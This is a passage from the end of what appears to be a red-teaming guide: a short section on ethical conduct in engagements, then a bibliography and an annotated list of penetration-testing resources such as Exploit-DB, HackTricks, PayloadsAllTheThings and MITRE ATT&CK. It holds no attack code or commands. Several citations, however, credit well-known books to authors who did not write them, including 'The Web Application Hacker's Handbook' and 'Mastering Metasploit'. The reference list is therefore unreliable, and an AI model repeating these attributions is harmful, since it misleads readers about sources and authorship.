- Report vulnerabilities, findings, and recommendations accurately and objectively, without exaggeration or distortion. Provide sufficient details to allow the client to understand and address the identified risks effectively.
10.5.3 Avoid Unauthorized Access or Data Manipulation:
- Do not access, modify, or exfiltrate data beyond what is necessary to demonstrate vulnerabilities or support findings. Obtain explicit authorization before attempting any data manipulation.
Adhering to legal and ethical considerations is not only crucial for maintaining trust with clients but also for upholding the integrity of the red teaming profession as a whole. By following these guidelines, red teamers can ensure their engagements are conducted in a responsible and ethical manner.
- Mitnick, K. D., & Simon, W. L. (2005). "The Art of Intrusion: The Real Stories Behind the Exploits of Hackers, Intruders & Deceivers." Wiley.
- Engebretson, P. (2013). "The Basics of Hacking and Penetration Testing: Ethical Hacking and Penetration Testing Made Easy." Syngress.
- Beale, J., & Craig, R. (2014). "The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws." Wiley.
- Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). "Metasploit: The Penetration Tester's Guide." No Starch Press.
- Pouget, T., & Klumb, P. (2018). "Mastering Metasploit: Write and Implement Sophisticated Attack Vectors in Metasploit Framework." Packt Publishing.
- Peltier, T. R., & Peltier, J. (2016). "Information Security Policies, Procedures, and Standards: Guidelines for Effective Information Security Management." Auerbach Publications.
- SANS Institute. (2021). "SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling." Retrieved from https://www.sans.org/course/hacker-techniques-exploits-incident-handling/
- Offensive Security. (2021). "OSCP - Offensive Security Certified Professional." Retrieved from https://www.offensive-security.com/pwk-oscp/
- Open Web Application Security Project (OWASP). (2021). "OWASP Top Ten Project." Retrieved from https://owasp.org/top10/
- National Institute of Standards and Technology (NIST). (2021). "Framework for Improving Critical Infrastructure Cybersecurity." Retrieved from https://www.nist.gov/cyberframework
- HackTricks: A community-driven resource providing a comprehensive collection of tricks and techniques for various aspects of pentesting, including privilege escalation, post-exploitation, web applications, and more. Website: https://book.hacktricks.xyz/
- Pentest-Tools.com: An online platform offering a wide range of tools and resources for penetration testing and vulnerability assessment. It includes tools for information gathering, scanning, exploitation, and reporting. Website: https://pentest-tools.com/
- PentestMonkey: A website dedicated to sharing practical examples and cheat sheets for various aspects of pentesting. It covers topics such as shell scripting, SQL injection, reverse shells, and more. Website: https://pentestmonkey.net/
- OWASP: The Open Web Application Security Project (OWASP) provides numerous resources for web application security, including guides, tools, and best practices. It also maintains the OWASP Top Ten Project, highlighting the most critical web application security risks. Website: https://owasp.org/
- Exploit-DB: A comprehensive database of exploits and vulnerabilities, including both remote and local exploits for various platforms and applications. It provides detailed information, including vulnerability descriptions, exploit code, and references. Website: https://www.exploit-db.com/
- Metasploit Unleashed: A free online resource that serves as a comprehensive guide to using the Metasploit Framework. It covers various modules, techniques, and methodologies for penetration testing and exploitation. Website: https://www.metasploitunleashed.com/
- PayloadsAllTheThings: A GitHub repository containing a vast collection of payloads, bypass techniques, guides, and other resources related to penetration testing and security assessment. It covers various areas such as web applications, networks, reverse shells, and more. Repository: https://github.com/swisskyrepo/PayloadsAllTheThings
- SecLists: A collection of multiple lists related to security assessment and penetration testing. It includes lists of passwords, usernames, web shells, common vulnerabilities, and more. Repository: https://github.com/danielmiessler/SecLists
- PacketLife Cheat Sheets: A compilation of cheat sheets covering a wide range of networking and security topics, including TCP/IP protocols, Linux commands, Wireshark, cryptography, and more. Website: https://packetlife.net/library/cheat-sheets/
- SANS Institute: A well-known organization in the field of information security that offers a wealth of resources, including whitepapers, research papers, webcasts, and security training courses. It covers various topics, including penetration testing, incident response, network defense, and more. Website: https://www.sans.org/
- Nmap Cheat Sheet: A handy reference guide for using Nmap, a popular and powerful network scanning tool. It provides command examples and explanations for various scanning techniques. Website: https://www.stationx.net/nmap-cheat-sheet/
- OWASP WebGoat: A deliberately insecure web application designed for hands-on learning and practicing web application security testing techniques. It provides a safe environment to explore common vulnerabilities and attack scenarios. Website: https://www.owasp.org/index.php/OWASP_WebGoat_Project
- VulnHub: A platform that hosts a collection of vulnerable virtual machines (VMs) for practicing and honing penetration testing skills. These VMs simulate real-world scenarios and contain intentionally created vulnerabilities. Website: https://www.vulnhub.com/
- Exploit Database (EDB): A comprehensive online repository of exploits, vulnerabilities, and security papers. It offers a vast collection of exploit code and detailed technical information for various systems and applications. Website: https://www.exploit-db.com/
- Cybrary: An online platform that provides a wide range of free and paid cybersecurity courses, including topics such as ethical hacking, penetration testing, and network security. It offers video lectures, labs, and assessments to enhance practical skills. Website: https://www.cybrary.it/
- HackerOne Hacktivity: A public archive of disclosed vulnerabilities and bug bounty reports from various organizations. It offers insights into real-world vulnerabilities and their impact, providing valuable knowledge for red teamers. Website: https://hackerone.com/hacktivity
- Penetration Testing Execution Standard (PTES): A standard framework for performing penetration testing. It outlines the phases, methodologies, and deliverables involved in a comprehensive penetration testing engagement. Website: http://www.pentest-standard.org/
- The Web Application Hacker's Handbook (WAHH) Labs: A companion website for "The Web Application Hacker's Handbook," offering additional labs and exercises to practice web application security testing techniques. Website: https://portswigger.net/web-security
- The Hacker Playbook Series: A series of practical guides written by Peter Kim, providing step-by-step approaches and methodologies for various aspects of penetration testing and red teaming. Website: https://thehackerplaybook.com/
- MITRE ATT&CK: A globally accessible knowledge base maintained by MITRE, cataloging adversary tactics, techniques, and procedures (TTPs). It provides insights into common attack techniques used by threat actors and assists in enhancing defensive strategies. Website: https://attack.mitre.org/